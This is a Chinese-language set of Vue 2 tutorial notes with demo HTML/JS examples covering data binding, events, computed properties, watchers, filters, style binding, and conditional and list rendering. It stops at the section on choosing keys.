目录
vue介绍
初识vue
- 想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象;
- root容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法;
- root容器里的代码被称为【Vue模板】;
- Vue实例和容器是一一对应的,多余的实例或容器都不起作用;
- 真实开发中只有一个Vue实例,并且会配合着组件一起使用;
- {{xxx}}中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性;
- 一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新;
注意区分:js表达式 和 js代码(语句)
- 表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方:
(1)a
(2)a+b
(3)demo(1)
(4)x === y ? ‘a’ : ‘b’- js代码(语句)
(1)if(){}
(2)for(){}
vue.html代码如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>初识Vue</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--
准备好一个容器
我们用vue是为了让他帮我们构建一个界面,构建好了,页面往哪里放呢?所以我们需要一个容器来放这个界面
-->
<div id="demo">
<h1>Hello,{{name.toUpperCase()}},{{address}}</h1>
</div>
<script type="text/javascript" >
Vue.config.productionTip = false //阻止vue在启动时生成生产提示。
//引入vue后,就多了vue这个构造函数/对象,现在我们用它来创建Vue实例,
new Vue({// Vue这个构造函数只接收一个参数,该参数是个对象
el:'#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
// el:document.getElementById('root'),// 第二种写法
data:{ //data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
name:'atguigu',
address:'北京'
}
})
</script>
</body>
</html>
data与el的2种写法
- el有2种写法
(1)new Vue时候配置el属性。
new Vue({// 创建vue实例时,会传入一个对象,给该对象配置el属性
el:'#root',
data:{
name:'尚硅谷'
}
})
(2)先创建Vue实例,随后再通过vm.$mount('#root')
指定el的值。
const v = new Vue({
data:{
name:'尚硅谷'
}
})
console.log(v)// 所有以$开头的东西都是vue准备好的给我们程序员用的
v.$mount('#root')// 使用实例对象.$mount('css选择器')来指定容器。把实例对象挂载到容器/页面上
- data有2种写法
(1)对象式
data:{
name:'尚硅谷'
}
(2)函数式
data(){// data函数必须返回一个对象,该对象里面放的就是管理的数据
console.log('@@@',this) //此处的this是Vue实例对象,所以vue调用的data()
return{
name:'尚硅谷'
}
}
如何选择:目前哪种写法都可以,以后学习到组件时,data必须使用函数式,否则会报错。
- ⚠️原则:由Vue管理的函数,一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了,而是window。
mvvm模型
M:模型(Model) :data中的数据
V:视图(View) :模板代码,也就是页面
VM:视图模型(ViewModel):Vue实例
MVVM本质上是MVC(Model-View- Controller)的改进版。即模型-视图-视图模型。
模型model指的是后端传递的数据,视图view指的是所看到的页面。
视图模型viewModel是mvvm模式的核心,它是连接view和model的桥梁。它有两个方向:
- 将模型转化成视图,即将后端传递的数据转化成所看到的页面。实现的方式是:数据绑定
- 将视图转化成模型,即将所看到的页面转化成后端的数据。实现的方式是:DOM 事件监听
这两个方向都实现的,我们称之为数据的双向绑定
观察发现:
- data中所有的属性,最后都出现在了vm身上。
- vm身上所有的属性及Vue原型上所有属性,在Vue模板中都可以直接使用。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>理解MVVM</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<!-- 在这里,{{}}中拿到的东西就是vm实例,所以你可以使用vm身上所有的属性及Vue原型上所有属性 -->
<h1>学校名称:{{name}}</h1>
<h1>学校地址:{{address}}</h1>
<h1>测试一下1:{{1+1}}</h1>
<h1>测试一下2:{{$options}}</h1>
<h1>测试一下3:{{$emit}}</h1>
<h1>测试一下4:{{_c}}</h1>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el:'#root',
data:{
name:'尚硅谷',
address:'北京',
}
})
console.log(vm)
</script>
</html>
vue模板语法
Vue模板语法有2大类:
- 插值语法:
功能:用于指定标签体内容。
写法:{{xxx}}
,xxx是js表达式,且可以直接读取到data中的所有属性。
示例代码:<h3>你好,{{name}}</h3>
- 指令语法:
功能:用于解析标签(包括:标签属性、标签体内容、绑定事件…)。
v-bind会把标签属性当作js表达式解析,标签属性前不加v-bind属性只是个普通的标签属性,属性值就是值
举例:v-bind:href="xxx"
或简写为:href="xxx"
,xxx同样要写js表达式,且可以直接读取到data中的所有属性。
<!-- x是自定义标签属性,前面不加v-bind属性只是个普通的标签属性,属性值就是值 -->
<a v-bind:href="school.url.toUpperCase()" x="hello">点我去{{school.name}}学习1</a>
<!-- href属性前面加了v-bind属性,会把属性值school.url当作js表达式解析 -->
<a :href="school.url" x="hello">点我去{{school.name}}学习2</a>
备注:Vue中有很多的指令,且形式都是:v-????
,此处我们只是拿v-bind举个例子。
数据绑定
Vue中有2种数据绑定的方式:
- 单向绑定(v-bind):数据只能从data流向页面。
<!-- 普通写法 -->
单向数据绑定:<input type="text" v-bind:value="name"><br/>
<!-- 简写 -->
<!-- 写了:后,属性值name就当表达式用 -->
单向数据绑定:<input type="text" :value="name"><br/>
- 双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data。
备注:
(1)双向绑定一般都应用在表单类元素上(如:input、select等)
(2)v-model:value
可以简写为 v-model,因为v-model默认收集的就是value值。
<!-- 普通写法 -->
双向数据绑定:<input type="text" v-model:value="name"><br/>
<!-- 简写 -->
双向数据绑定:<input type="text" v-model="name"><br/>
<!-- 如下代码是错误的,因为v-model只能应用在表单类元素(输入类元素)上,即标签必须有value,因为他只能作用在value上 -->
<!-- <h2 v-model:x="name">你好啊</h2> -->
数据代理
- 数据代理:通过一个对象代理对另一个对象中属性的操作(读/写)
let obj = {x:100}
let obj2 = {y:200}
// 想通过obj2读到obj1的x,还能修改x
Object.defineProperty(obj2,'x',{
get(){
return obj.x
},
set(value){
obj.x = value
}
})
- Vue中的数据代理:通过vm对象来代理data对象中属性的操作(读/写)
- Vue中数据代理的好处:更加方便的操作data中的数据
- Vue中数据代理的基本原理:
(1)通过Object.defineProperty()
把data对象中所有属性添加到vm上。
(2)为每一个添加到vm上的属性,都指定一个getter/setter。
(3)在getter/setter内部去操作(读/写)data中对应的属性。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>Vue中的数据代理</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<!--
使用vm中的name时,通过name的getter获取data中的name
更改vm中的name时,通过name的setter更改data中的name
-->
<h2>学校名称:{{name}}</h2>
<h2>学校地址:{{address}}</h2>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el:'#root',
data:{// vm把这个data存在了自身_data中,_data中做了数据劫持
name:'尚硅谷',
address:'宏福科技园'
}
})
console.log(vm);// vm身上的name、address都是靠Object.defineProperty()加上去的
</script>
</html>
- 因为数据代理,data中的数据都在vm._data中,也都在vm本身
事件处理
事件的基本使用
- 使用
v-on:xxx
或@xxx
绑定事件,其中xxx是事件名; - 事件的回调需要配置在methods对象中,最终会在vm上;
- methods中配置的函数,不要用箭头函数!否则this就不是vm了;
- methods中配置的函数,都是被Vue所管理的函数(都在vm身上),this的指向是vm或组件实例对象;
@click="demo"
和@click="demo($event)"
效果一致,但后者可以传参;- 绑定事件的时候:
@xxx="yyy"
,yyy可以写一些简单的语句,但是yyy中不能使用window自身的属性和方法,如alert()
,因为在这里他只会去vue身上找,找不到再去vue的原型上找,也没找到,会报错,他压根就不会去window上找。如果你一定要用window自身的属性和方法,那么将window保存在data中。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>事件的基本使用</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<!-- 注意下面这行代码中不能使用window自身的属性和方法 -->
<button @click="isHot = !isHot">切换天气</button>
<!-- <button v-on:click="showInfo">点我提示信息</button> -->
<!-- 下面这行代码,写showInfo1或写showInfo1()是一样的,加不加()都无所谓,都会传入event,一般需要传其他参数时会加() -->
<button @click="showInfo1">点我提示信息1(不传参)</button>
<!-- 如果你只写showInfo2(66),那么vue就不会把event传给你,所以你需要在实参中使用占位符$event,将event传过去 -->
<button @click="showInfo2($event,66)">点我提示信息2(传参)</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el:'#root',
data:{// 只有data中的东西才会做数据劫持、数据代理
isHot: false,
// window//将window保存在vue的data中,这样yyy中就能使用window自身的属性和方法了
},
methods:{
showInfo1(event){// vue调用showInfo1时,会传入一个事件对象event,即当前触发事件的元素
// console.log(event.target.innerText)
// console.log(this) //此处的this是vm
alert('同学你好!')
},
showInfo2(event,number){
console.log(event,number)
// console.log(event.target.innerText)
// console.log(this) //此处的this是vm
alert('同学你好!!')
}
}
})
</script>
</html>
- 在绑定事件时,回调函数的()加不加都无所谓,但是在标签体中调用函数,如果不加()代表插入函数,加()代表执行函数并插入返回值。只要data中的数据发生改变,vue一定会重新解析模板,只有重新解析模板,他才知道模板中哪些地方用到了哪些数据,然后更新数据,重新解析模板时,只要遇到了插值语法中写了方法,vue会重新调用该方法
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>姓名案例_methods实现</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
姓:<input type="text" v-model="firstName"> <br/><br/>
名:<input type="text" v-model="lastName"> <br/><br/>
全名:<span>{{fullName()}}</span>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
firstName:'张',
lastName:'三'
},
methods: {
fullName(){
console.log('@---fullName')
return this.firstName + '-' + this.lastName
}
},
})
</script>
</html>
事件修饰符
prevent
:阻止默认事件(常用);stop
:阻止事件冒泡(常用);once
:事件只触发一次(常用);capture
:使用事件的捕获模式;self
:只有event.target
是当前操作的元素时才触发事件;passive
:事件的默认行为立即执行,无需等待事件回调执行完毕;- 修饰符可以连写
<!--
scroll:给滚动条添加的滚动事件
wheel:给鼠标滚轮添加的滚动事件
如果没有添加.passive,当你滚轮滚动后,先触发你滚动的事件,然后执行你指定的回调,回调执行完后再执行默认行为,即滚动这个行为展现在页面上,或者说滚动条移动一段距离。但是加了.passive后,就会先执行默认行为,再调用回调。scroll的滚动不会出现这种情况
-->
<ul @wheel.passive="demo" class="list">
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
</ul>
键盘事件
- 键盘事件:
(1)keydown:键按下去就触发相应的事件
(2)keyup:键按下去你松手了,键起来的时候,触发相应的事件 - Vue中常用的按键别名:
回车 => enter
删除 => delete (捕获“删除”和“退格”键)
退出 => esc
空格 => space
换行 => tab (特殊,因为tab键本身有【把焦点从当前元素身上切走】的功能,tab键一摁下去,当前元素就失去焦点了,后面触发不了当前元素身上的事件了,所以必须配合keydown使用。)
上 => up
下 => down
左 => left
右 => right
以上别名作为键盘事件的后缀就可以监听相应的键按下去,如:@keydown.enter="showInfo"
,enter键按下去后会调用showInfo()
- Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为
kebab-case(短横线命名)
- 系统修饰键(用法特殊):ctrl、alt、shift、meta
(1)配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
(2)配合keydown使用:正常触发事件。
系统修饰键后面还能再添加内容,如:@keyup.ctrl.y="showInfo"
代表按下CTRL+y才会调用showInfo - 也可以使用keyCode去指定具体的按键(不推荐)
Vue.config.keyCodes.自定义键名 = 键码
,可以去定制按键别名。如下代码所示:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>键盘事件</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<input type="text" placeholder="按下回车提示输入" @keydown.huiche="showInfo">
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
Vue.config.keyCodes.huiche = 13 //定义了一个别名按键
new Vue({
el:'#root',
methods: {
showInfo(e){
//键盘上任何一个按键都有自己的名字(回车键叫Enter,通过e.key可以获得)和自己的编码e.keyCode
// console.log(e.key,e.keyCode)
console.log(e.target.value)
}
},
})
</script>
</html>
计算属性
- 计算属性:对已有的属性进行加工、计算生成一个全新的属性。
- 计算属性独有的配置项:computed
- 定义:要用的属性不存在,要通过【已有属性】计算得来。
- 原理:底层借助了
Objcet.defineproperty
方法提供的getter和setter。 - get函数什么时候执行?
(1)初次读取时会执行一次。
(2)当依赖的数据发生改变时会被再次调用。 - 优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便。
- 备注:
(1)计算属性最终会出现在vm上,直接读取使用即可。
(2)如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>姓名案例_计算属性实现</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
姓:<input type="text" v-model="firstName"> <br/><br/>
名:<input type="text" v-model="lastName"> <br/><br/>
测试:<input type="text" v-model="x"> <br/><br/>
全名:<span>{{fullName}}</span> <br/><br/>
<!--
vue执行到上一行代码时,发现读取了fullName,于是他调用fullName的getter拿到返回值,将返回值作为fullName的值使用,
随后他将此进行【缓存】,下面三个地方再读取fullName时,vue不会再调用fullName的getter了,而是直接使用缓存。
那么,如果fullName变了,他后面拿的还是缓存中的值,不就不准确了吗?
所以getter只会在初次读取数据及其所依赖的数据发生变化时被调用
全名:<span>{{fullName}}</span> <br/><br/>
全名:<span>{{fullName}}</span> <br/><br/>
全名:<span>{{fullName}}</span>
-->
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el:'#root',
data:{
//vue认为data中写的东西就是属性,左边的叫属性名,右边的叫属性值
firstName:'张',
lastName:'三',
x:'你好'
},
methods: {//methods没有缓存
demo(){}
},
computed:{
fullName:{// 计算属性fullName最终会出现在vm上。计算属性往vm身上放的时候,会自动找到计算属性的get并调用,
// 将返回值放在vm身上,放的时候,名字是fullName,值是get执行后的返回值。所以计算属性依赖的是getter的返回值
// get有什么作用?当有人读取fullName时,get就会被调用,且返回值就作为fullName的值
// get什么时候调用?1.初次读取fullName时。2.所依赖的数据(此处为firstName和lastName)发生变化时。
get(){
console.log('get被调用了')
// console.log(this) //此处的this是vm
return this.firstName + '-' + this.lastName
},
//set什么时候调用? 当fullName被修改时。
set(value){// 不是必须写的。set会收到一个参数value,你把计算属性fullName改成什么,value就是什么
console.log('set',value)
const arr = value.split('-')
this.firstName = arr[0]
this.lastName = arr[1]
}
}
/*
一般情况下,计算属性是不修改的,更多是计算出来,然后呈现到页面,在这种情况下(计算属性只读不改),可以用简写形式
简写:将计算属性写成一个函数,函数名就是计算属性名,该函数就当计算属性的getter用
fullName(){
console.log('get被调用了')
return this.firstName + '-' + this.lastName
}
*/
}
})
</script>
</html>
监视属性watch
监视属性watch:监视某个属性的变化,使用watch配置对象,watch中是键值对,键是你想监视的属性名,值是一个对象,可以在对象里面进行一些配置。不仅可以监视data中的属性,还能监视computed中的计算属性
- 当被监视的属性变化时, 回调函数自动调用, 进行相关操作
- 监视的属性必须存在,才能进行监视!!
- 监视的两种写法:
(1)new Vue时传入watch配置
watch:{
isHot:{
immediate:true, //immediate默认值为false,只有值变化时才执行handler,为true时,初始化时让handler调用一下
//handler什么时候调用?当isHot发生改变时。handler被调用时会获得两个参数,分别是新值、旧值
handler(newValue,oldValue){
console.log('isHot被修改了',newValue,oldValue)
}
}
}
只需要handler时,可以简写
简写:检测的属性名(newValue,oldValue){}
。将检测的属性名写成一个函数,该函数当作handler函数使用,handler能收到什么,该函数就能收到什么,handler中处理什么逻辑,该函数就处理什么逻辑
isHot(newValue,oldValue){
console.log('isHot被修改了',newValue,oldValue,this)
}
(2)通过vm.$watch
监视:vm.$watch
接收两个参数,第一个是你想监视的属性名(用’'包裹),第二个是配置对象
vm.$watch('isHot',{
immediate:true, //初始化时让handler调用一下
//handler什么时候调用?当isHot发生改变时。
handler(newValue,oldValue){
console.log('isHot被修改了',newValue,oldValue)
}
})
只需要handler时,可以简写
简写:将vm.$watch
的第二个参数写成函数,该函数当作handler函数使用。
注意:vue管理的函数不能是箭头函数!!!
vue管理的函数:methods中的函数,computed中的函数,watch中的函数
vm.$watch('isHot',function(newValue,oldValue){
console.log('isHot被修改了',newValue,oldValue,this)
})
- 深度监视:
(1)Vue中的watch默认不监测对象内部值的改变(一层)。
(2)配置deep:true
可以监测对象内部值改变(多层)。
备注:
- Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以!
- 使用watch时根据数据的具体结构,决定是否采用深度监视。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>天气案例_深度监视</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h3>a的值是:{{numbers.a}}</h3>
<button @click="numbers.a++">点我让a+1</button>
<h3>b的值是:{{numbers.b}}</h3>
<button @click="numbers.b++">点我让b+1</button>
<button @click="numbers = {a:666,b:888}">彻底替换掉numbers</button>
{{numbers.c.d.e}}
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el:'#root',
data:{
numbers:{
a:1,
b:1,
c:{
d:{
e:100
}
}
}
},
watch:{
//监视多级结构中某个属性的变化
/* 'numbers.a':{
handler(){
console.log('a被改变了')
}
} */
//监视多级结构中所有属性的变化
numbers:{
deep:true,
handler(){
console.log('numbers改变了')
}
}
}
})
</script>
</html>
- computed和watch之间的区别:
(1)computed能完成的功能,watch都可以完成。
(2)watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作。
过滤器
过滤器:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
语法:
- 注册过滤器:
Vue.filter(name,callback)
或new Vue{filters:{}}
- 使用过滤器:
{{ xxx | 过滤器名}}
或v-bind:属性 = "xxx | 过滤器名"
备注:
- 过滤器也可以接收额外参数、多个过滤器也可以串联
- 并没有改变原本的数据,是产生新的对应的数据
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>过滤器,格式化时间戳</title>
<script type="text/javascript" src="../js/vue.js"></script>
<script type="text/javascript" src="../js/dayjs.min.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2>显示格式化后的时间</h2>
<!--
过滤器实现。过滤器可以对数据进行加工。
vue捕获到了你下面的内容是一个过滤器,然后他获取time,并将time作为【第一个】参数传给timeFormater
timeFormater是一个函数,是vue帮你调用的。vue用timeFormater的执行结果替换下面{{}}的插值语法
-->
<h3>现在是:{{time | timeFormater}}</h3>
<!--
过滤器实现(传参)和串联
time | timeFormater('YYYY_MM_DD') | mySlice:将time作为(timeFormater的)第一个参数传给timeFormater,
将timeFormater的执行结果作为(mySlice的)第一个参数传给mySlice,用mySlice的执行结果替换插值语法
-->
<h3>现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
<!--
过滤器不仅可以用于插值语法,还能和v-bind一起使用(不常用)
以下代码最终展示为:<h3 x="你好,尚">尚硅谷</h3>
-->
<h3 :x="msg | mySlice">尚硅谷</h3>
</div>
<div id="root2">
<h2>{{msg | mySlice}}</h2>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
//全局过滤器。Vue.filter('过滤器名字',过滤器对应的函数function(value){})
//全局过滤器需要在创建vue实例(new Vue)前就创建好
Vue.filter('mySlice',function(value){
return value.slice(0,4)
})
new Vue({
el:'#root',
data:{
time:1621561377603, //时间戳
msg:'你好,尚硅谷'
},
//局部过滤器:只有#root这个vue实例可以用,你代码写在了#root这个vue实例的对象里,你是给#root这个vue实例配置的过滤器
filters:{// 里面可以写多个过滤器
//过滤器本质是个函数
timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
// console.log('@',value)
/*
dayjs(时间戳).format('想格式化的样子'):dayjs会将你传入的时间戳格式化成你想要的样子,
dayjs().format('想格式化的样子'):dayjs会获取当前时间戳并将其格式化成你想要的样子
*/
return dayjs(value).format(str)
}
}
})
new Vue({
el:'#root2',
data:{
msg:'hello,atguigu!'
}
})
</script>
</html>
两个重要的小原则
- 所有被【Vue管理的函数】,最好写成【普通函数】,这样this的指向才是vm或组件实例对象。
- 所有【不被Vue所管理的函数】(定时器的回调函数、ajax的回调函数等、Promise的回调函数),最好写成【箭头函数】,这样this的指向才是vm或组件实例对象。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>姓名案例_watch实现</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
姓:<input type="text" v-model="firstName"> <br/><br/>
名:<input type="text" v-model="lastName"> <br/><br/>
全名:<span>{{fullName}}</span> <br/><br/>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el:'#root',
data:{
firstName:'张',
lastName:'三',
fullName:'张-三'
},
watch:{
firstName(val){
/*
定时器里面的这个回调函数不是vue管理的函数,是浏览器定时器管理模块控制的,
最后定时时间到了也是JS引擎帮你调的settimeout中的回调函数
settimeout中的回调函数如果是箭头函数,this指向vue,如果是普通函数function(){},this指向window,
因为该回调函数是JS引擎帮你调的
*/
setTimeout(()=>{
console.log(this)
this.fullName = val + '-' + this.lastName
},1000);
},
lastName(val){
this.fullName = this.firstName + '-' + val
}
}
})
</script>
</html>
绑定样式
- class样式
写法::class="xxx"
,其中xxx可以是字符串、对象、数组。
(1)字符串写法适用于:类名不确定,要动态获取。
(2)对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。
(3)数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。 - style样式
:style="{fontSize: xxx}"
,其中xxx是动态值。
:style="[a,b]"
,其中a、b是样式对象。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>绑定样式</title>
<style>
.basic{
width: 400px;
height: 100px;
border: 1px solid black;
}
.happy{
border: 4px solid red;;
background-color: rgba(255, 255, 0, 0.644);
background: linear-gradient(30deg,yellow,pink,orange,yellow);
}
.sad{
border: 4px dashed rgb(2, 197, 2);
background-color: gray;
}
.normal{
background-color: skyblue;
}
.atguigu1{
background-color: yellowgreen;
}
.atguigu2{
font-size: 30px;
text-shadow:2px 2px 10px red;
}
.atguigu3{
border-radius: 20px;
}
</style>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<!--
绑定class样式--字符串写法。适用于:样式的类名不确定,需要动态指定。
class="basic":给div绑定一个类名basic
:class="mood":给div绑定一个类名,该类名是mood表达式的执行结果
最后将两个class合并为一个
点击div,随机选择个样式绑定到div上
-->
<div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/>
<!--
绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定。把要绑定的样式全写在数组中
下一行代码也可以写作:<div class="basic" :class="['atguigu1','atguigu2','atguigu3']">{{name}}</div>
但你这样写就写死了,不方便管理。数组中的内容加了'',代表值,如果你写:
<div class="basic" :class="[atguigu1,atguigu2,atguigu3]">{{name}}</div>
那么atguigu1,atguigu2,atguigu3就是变量,他会去data中取atguigu1,atguigu2,atguigu3的值,拿过来使用
将很多样式运用于div,但是样式个数和名字都不确定
-->
<div class="basic" :class="classArr">{{name}}</div> <br/><br/>
<!--
绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用
下一行代码也可以改为:<div class="basic" :class="{atguigu1:false,atguigu2:false}">{{name}}</div>
直接将对象放在标签属性中,但是这样也是写死了,以后不方便切换,不方便改atguigu1、atguigu2的值
vue要求在动态绑定时,如果要绑定的内容是键值对,要把他们写成对象
动态切换atguigu1、atguigu2这两个样式
-->
<div class="basic" :class="classObj">{{name}}</div> <br/><br/>
<!--
绑定style样式--对象写法
绑定样式:<div class="basic" style="fontSize: 40px">{{name}}</div>
现在我想动态绑定样式,那么v-bind绑定style,绑定的内容是键值对,写成对象形式,动态绑定样式时,样式名要写成小驼峰命名
键是css中有的,只不过使用了vue规定的写法,vue知道他是font-size,值是变量和字符串的拼接
<div class="basic" :style="{fontSize: fsize+'px'}">{{name}}</div>
但是你也可以像下面这样写,直接写在对象中
-->
<div class="basic" :style="styleObj">{{name}}</div> <br/><br/>
<!-- 绑定style样式--数组写法 -->
<div class="basic" :style="styleArr">{{name}}</div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
const vm = new Vue({
el:'#root',
data:{
// fsize: 40,
name:'尚硅谷',
mood:'normal',
classArr:['atguigu1','atguigu2','atguigu3'],
classObj:{
atguigu1:false,// 为false表示不应用
atguigu2:false,
},
styleObj:{
fontSize: '40px',
color:'red',
},
styleObj2:{
backgroundColor:'orange'
},
styleArr:[
{
fontSize: '40px',
color:'blue',
},
{
backgroundColor:'gray'
}
]
},
methods: {
changeMood(){
const arr = ['happy','sad','normal']
const index = Math.floor(Math.random()*3)
this.mood = arr[index]
}
},
})
</script>
</html>
条件渲染
- v-if
写法:
v-if="表达式"
v-else-if="表达式"
v-else="表达式"
适用于:切换频率较低的场景。
特点:不展示的DOM元素直接被移除。
注意:v-if可以和v-else-if、v-else一起使用,但要求结构不能被“打断”。
<h2 v-if="false">欢迎</h2>
<h2 v-if="1 === 1">欢迎来到{{name}}</h2>
<!-- v-else和v-else-if -->
<div v-if="n === 1">Angular</div>
<div v-else-if="n === 2">React</div>
<div v-else-if="n === 3">Vue</div>
<div v-else>哈哈</div> -->
<!-- v-if、v-else和v-else-if之间不能被打断,否则后面的逻辑都不会被执行 -->
<div v-if="n === 1">Angular</div>
<div>后面的逻辑不会被执行</div>
<div v-else-if="n === 2">React</div>
<div v-else-if="n === 3">Vue</div>
<div v-else>哈哈</div>
<!--
v-if与template的配合使用,template不能和v-show配合使用
template不会影响结构,你现在写的时候用template标签包裹了一下,最终页面渲染时,template标签就消失了了
-->
<template v-if="n === 1">
<h2>你好</h2>
<h2>尚硅谷</h2>
<h2>北京</h2>
</template>
- v-show:通过display:none隐藏元素
写法:v-show="表达式"
适用于:切换频率较高的场景。
特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉
备注:使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到。
<!-- v-show="能转为布尔值的表达式/布尔值/变量",vue会去data中找到变量,该变量的值是布尔值/能转为布尔值的表达式 -->
<h2 v-show="false">欢迎来到{{name}}</h2>
<h2 v-show="1 === 1">欢迎来到{{name}}</h2>
列表渲染
v-for指令:
- 用于展示列表数据
- 语法:
v-for="(item, index) in xxx" :key="yyy"
或v-for="(item, index) of xxx" :key="yyy"
,其中xxx是data中的数据,item是遍历到的一条,index是该条索引 - 可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>基本列表</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<!-- 遍历数组 -->
<h2>人员列表(遍历数组)</h2>
<ul>
<!-- 你想生成多个谁,就在谁上面写v-for。当你使用遍历生成多个同样结构的数据,你必须给每个结构生成个唯一标识,即动态绑定key。 -->
<li v-for="(p,index) of persons" :key="index">
<!-- p是形参,可以在标签体中使用 -->
{{p.name}}-{{p.age}}
</li>
</ul>
<!-- 遍历对象 -->
<h2>汽车信息(遍历对象)</h2>
<ul>
<li v-for="(value,k) of car" :key="k">
{{k}}-{{value}}
</li>
</ul>
<!-- 遍历字符串 -->
<h2>测试遍历字符串(用得少)</h2>
<ul>
<li v-for="(char,index) of str" :key="index">
<!-- 遍历到的char是字符串的字符,index是索引 -->
{{char}}-{{index}}
</li>
</ul>
<!-- 遍历指定次数 -->
<h2>测试遍历指定次数(用得少)</h2>
<ul>
<li v-for="(number,index) of 5" :key="index">
<!-- number从1开始计数,index从0开始计数 -->
{{index}}-{{number}}
</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
persons:[
{id:'001',name:'张三',age:18},
{id:'002',name:'李四',age:19},
{id:'003',name:'王五',age:20}
],
car:{
name:'奥迪A8',
price:'70万',
color:'黑色'
},
str:'hello'
}
})
</script>
</body>
</html>
react、vue中的key有什么作用?(key的内部原理)
- 虚拟DOM中key的作用:key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】, 随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:
- 对比规则:
(1)旧虚拟DOM中找到了与新虚拟DOM相同的key:
①.若虚拟DOM中内容没变, 直接使用之前的真实DOM!
②.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。
(2)旧虚拟DOM中未找到与新虚拟DOM相同的key,创建新的真实DOM,随后渲染到到页面。 - 用index作为key可能会引发的问题:
(1)若对数据进行:逆序添加、逆序删除等破坏顺序操作:会产生没有必要的真实DOM更新 => 界面效果没问题, 但效率低。
(2)如果结构中还包含输入类的DOM:会产生错误DOM更新 => 界面有问题。 - 开发中如何选择key?:
